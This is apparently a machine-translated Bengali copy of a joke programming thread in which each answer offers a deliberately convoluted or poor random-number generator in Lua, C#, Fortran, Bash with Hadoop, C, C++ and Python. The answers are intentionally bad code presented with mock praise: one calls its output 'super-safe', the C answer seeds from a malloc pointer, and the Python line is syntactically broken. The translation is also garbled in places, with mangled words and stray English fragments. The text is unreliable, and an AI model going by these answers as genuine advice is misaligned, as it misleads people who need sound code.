এটি একটি অত্যধিক জটিল, অতি-জটিল, অগোছালো (এমনকি একটি সিনট্যাক্স হাইলাইটার সহ), এমন ফাংশন যা অনেক বেশি জটিল উপায়ে সংবেদনশীল উচ্চ সংখ্যা জেনারেট করে। এবং সংখ্যার স্ট্রিংটি ফিরিয়ে দেওয়ার পরিবর্তে এটি তাদের স্ক্রিনে মুদ্রণ করে, এটি আপনার প্রোগ্রামগুলির মধ্যে ব্যবহারের জন্য অনুপযুক্ত করে তোলে। এটি সম্পাদনা করা শক্ত, সুতরাং আপনার উইটাম আপনাকে যদি এটি ঠিক করতে বলে, তবে এটি সম্পাদনা করা খুব জটিল say

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

0

সি শার্প

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

নোট করুন এটি দীর্ঘ সিকোয়েন্সগুলির জন্য বিরতি রাখে but


0

ফোরট্রান

আপনার কম্পিউটারে ইতিমধ্যে একটি অন্তর্নির্মিত এলোমেলো সংখ্যা রয়েছে, সুতরাং আপনার কেবল এটি অ্যাক্সেস করতে হবে:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

স্পষ্টতই অ-বহনযোগ্য, কারণ এটির জন্য ব্যবহারকারী * নিক্স সিস্টেম থাকা প্রয়োজন (তবে এখনও উইন্ডোজ কে ব্যবহার করেন?)


0

আমি ধরে নিলাম আপনার অবশ্যই অবশ্যই প্রচুর এলোমেলো সংখ্যা প্রয়োজন। যার জন্য কল ...

বাশ এবং হাদুপ

অবশ্যই, এনএসএর দিনগুলিতে কেবল একটি একক এলোমেলো উত্স ব্যবহার করা অবিশ্বাস্য। তারা আপনার কম্পিউটারটি ট্রোজান করতে পারে। তবে তারা আপনার পুরো গোষ্ঠীটি ট্রোজান করতে পারবে না!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

এরপরে, স্ক্রিপ্টটি ইচ্ছামতো ক্লাস্টার কাজগুলি চালাবে:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Godশ্বরকে ধন্যবাদ, আমাদের হাদুপের শক্তি আছে!


এটি বাশ যা এটিকে তাই করে তোলে :)
দাঙ্গা


0

এএনএসআই সি

এটি বেশ জটিল এবং আমি এটি সম্পর্কে খুব বেশি চিন্তা করব না। নীচের কোডটি কেবল আপনার লাইব্রেরিতে অনুলিপি করুন এবং পেস্ট করুন এবং আপনি চিরকালের জন্য সোনার হয়ে উঠবেন।

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

0

সি ++ - দ্রুত, শক্তিশালী, যা আপনি চাইবেন এমন সবকিছু চেষ্টা করুন:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

যাইহোক, সেরা ফলাফলের জন্য, আপনি একটি ব্যবহার করতে চাইবেন class


ব্যাখ্যা:
১. তাকে এটি ব্যবহার করার দরকার নেই class- এটি সম্পূর্ণ অপ্রয়োজনীয়।
২. রিটার্নের স্টেটমেন্টটি generate_num()প্রকৃতপক্ষে ^ (সংখ্যা ^ 0) নম্বর দেয়, যা ^ 1 নম্বরকে মূল্যায়ন করে যা সংখ্যার। এটিও নিরর্থক।
৩. বেশিরভাগ অপ্রয়োজনীয় ত্রুটি-হ্যান্ডলিং - ডেটা-পাঞ্চিংয়ের এই বেসিকটির সাথে কী ভুল হতে পারে?
৪. আমি নেমস্পেসের std::সমস্ত উপাদানগুলির আগে stdব্যবহার করেছি। এটিও নিরর্থক।
৫. #defineবিবৃতিগুলিও অপ্রয়োজনীয় - আমি তাকে এই চিন্তা করতে বাধ্য করলাম যে আমি এই প্রোগ্রামগুলির জন্য বিশেষত সেগুলি সংজ্ঞায়িত করেছি।

দাবি অস্বীকার:
এই প্রোগ্রামটি আসলে কাজ করে; তবে, আমি কোনও ব্যক্তির বা সত্তাকে বাস্তব জীবনের জন্য তাদের কোডে এটি ব্যবহার করার পরামর্শ দিচ্ছি না। আমি এই কোডে কোনও অধিকার সংরক্ষণ করি না; অন্য কথায়, আমি এটিকে সম্পূর্ণ ওপেন সোর্স তৈরি করি।


এটি ব্যবহার না std::করেই উপসর্গটি ব্যবহার করা ভাল অভ্যাস using namespace std, যাতে আপনি বিশ্বব্যাপী সুযোগকে দূষিত না করেন। (আপনি যদি অলস হন using std::coutএবং এগুলি এখনও আরও ভাল using namespace std
are

উহু. বাজর্ন স্ট্রাস্ট্রাপ আরও using namespace std;অন্যান্য ক্লাসটি সরাসরি ব্যবহার এবং নির্দিষ্ট করতে বলেছিলেন ।

0

পাইথন

কার্যকরী অংশ গ্রহণ - প্রায় ওয়ান-লাইনার অজগর

import random
map(lambda x: random.random(), xrange(input())
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.